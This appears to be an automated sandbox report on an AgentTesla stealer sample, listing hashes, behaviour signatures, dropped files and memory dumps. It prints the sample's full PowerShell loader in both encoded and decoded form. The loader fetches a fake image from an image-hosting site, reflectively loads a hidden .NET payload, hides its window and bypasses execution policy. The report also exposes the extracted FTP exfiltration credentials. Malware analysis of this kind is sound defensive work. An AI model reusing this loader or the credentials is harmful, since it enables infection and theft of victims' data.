agenttesla | 65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91

General

Target

morningxla.js
Size

5KB
MD5

8cf579f458819a211f06d8d115980db4
SHA1

07a073341bb83d3ca8bd3ce21edaa5c3e631087a
SHA256

65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91
SHA512

5fd3280406cc5e4c72209ea9712ee905e27b7804dd56c80ae1c33896a837c517a43485658be3095926457a35000d7f5521d6711092b8ebdaf948cbb5308bd7d6
SSDEEP

96:7riEOkQDTAvKq8YjBPBERHnfrL3DGZzmwI7:HiEN1xAL3DGZzq

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.fosna.net
Port:
21
Username:
[email protected]
Password:
=A+N^@~c]~#I

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 6 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

4 2324 wscript.exe
7 2324 wscript.exe
10 2624 powershell.exe
12 2624 powershell.exe
14 2624 powershell.exe
17 2624 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2624 set thread context of 1756 2624 powershell.exe AddInProcess32.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exe

pid process

2616 powershell.exe
2624 powershell.exe
1756 AddInProcess32.exe
1756 AddInProcess32.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exe

description pid process

Token: SeDebugPrivilege 2616 powershell.exe
Token: SeDebugPrivilege 2624 powershell.exe
Token: SeDebugPrivilege 1756 AddInProcess32.exe

flow	pid	process
4	2324	wscript.exe
7	2324	wscript.exe
10	2624	powershell.exe
12	2624	powershell.exe
14	2624	powershell.exe
17	2624	powershell.exe

flow	ioc
19	ip-api.com

description	pid	process	target process
PID 2624 set thread context of 1756	2624	powershell.exe	AddInProcess32.exe

pid	process
2616	powershell.exe
2624	powershell.exe
1756	AddInProcess32.exe
1756	AddInProcess32.exe

description	pid	process
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	1756	AddInProcess32.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

wscript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2324 wrote to memory of 2616	2324	wscript.exe	powershell.exe
PID 2324 wrote to memory of 2616	2324	wscript.exe	powershell.exe
PID 2324 wrote to memory of 2616	2324	wscript.exe	powershell.exe
PID 2616 wrote to memory of 2624	2616	powershell.exe	powershell.exe
PID 2616 wrote to memory of 2624	2616	powershell.exe	powershell.exe
PID 2616 wrote to memory of 2624	2616	powershell.exe	powershell.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe
PID 2624 wrote to memory of 1756	2624	powershell.exe	AddInProcess32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\morningxla.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
d0565d2a53b7bd9b5d5dc8b3e78e79b2

SHA1
42c261cec76c26211b92b2b1880f1fe59d136109

SHA256
fe2e5e7ea5ebbf8322118523051d93768cc1c719d57f3d0d323a5b817711a4fa

SHA512
fcb63fed0b9acdf5da0c4709a7c28dd1f0c038881e8342196a416ad82e1578d9768b51c7f66be59c6df44535b6214bef8d86161368fd889b7a42087fa9fc5bf9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
90f90dd12c2aa16e5ba79840c9170bba

SHA1
ea6801d766e152e45dce3726f33e7d495fcf8f1a

SHA256
9a3d1cf965de632a28db47c6d39c0322cb08fe6fba646a428b6ba00703ae955f

SHA512
657ac9b335c22e1ad9da061b641444d8a345a57bf6451f641fff998530cf60c05bef97228484c10c6d3d93c68214c79d494dbbfe5f14ad93d2e8e1c9d6b66a7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab276E.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2781.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2851.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
d65dbbd320596254aef90af26b78e511

SHA1
08582966f9e1df1c293a8432443cceb79b7c7d81

SHA256
02884ac9f40fc18a006b114718be112a34cdae71b82aa499e16b7127631644d2

SHA512
219ae61a465c28d157d33677d68c2b924d2b79358fe56ec0f9e3a23e3f731f0f2a25f45252aa720a5eb333910fb02903c5e70ac07d13580a341db6e47ef6e6c8

Download Submit
memory/1756-113-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-122-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-114-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-115-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-116-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-117-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1756-118-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-120-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1756-124-0x0000000073CE0000-0x00000000743CE000-memory.dmp

Filesize
6.9MB

Download
memory/1756-126-0x0000000004B30000-0x0000000004B70000-memory.dmp

Filesize
256KB

Download
memory/1756-127-0x0000000073CE0000-0x00000000743CE000-memory.dmp

Filesize
6.9MB

Download
memory/1756-128-0x0000000004B30000-0x0000000004B70000-memory.dmp

Filesize
256KB

Download
memory/2616-105-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2616-31-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2616-106-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2616-21-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2616-22-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-23-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2616-20-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2616-125-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-25-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-26-0x0000000002D60000-0x0000000002DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-112-0x000000001ADC0000-0x000000001B080000-memory.dmp

Filesize
2.8MB

Download
memory/2624-35-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-32-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-34-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-33-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-123-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-36-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-37-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-109-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download
memory/2624-108-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-107-0x0000000001D60000-0x0000000001DE0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads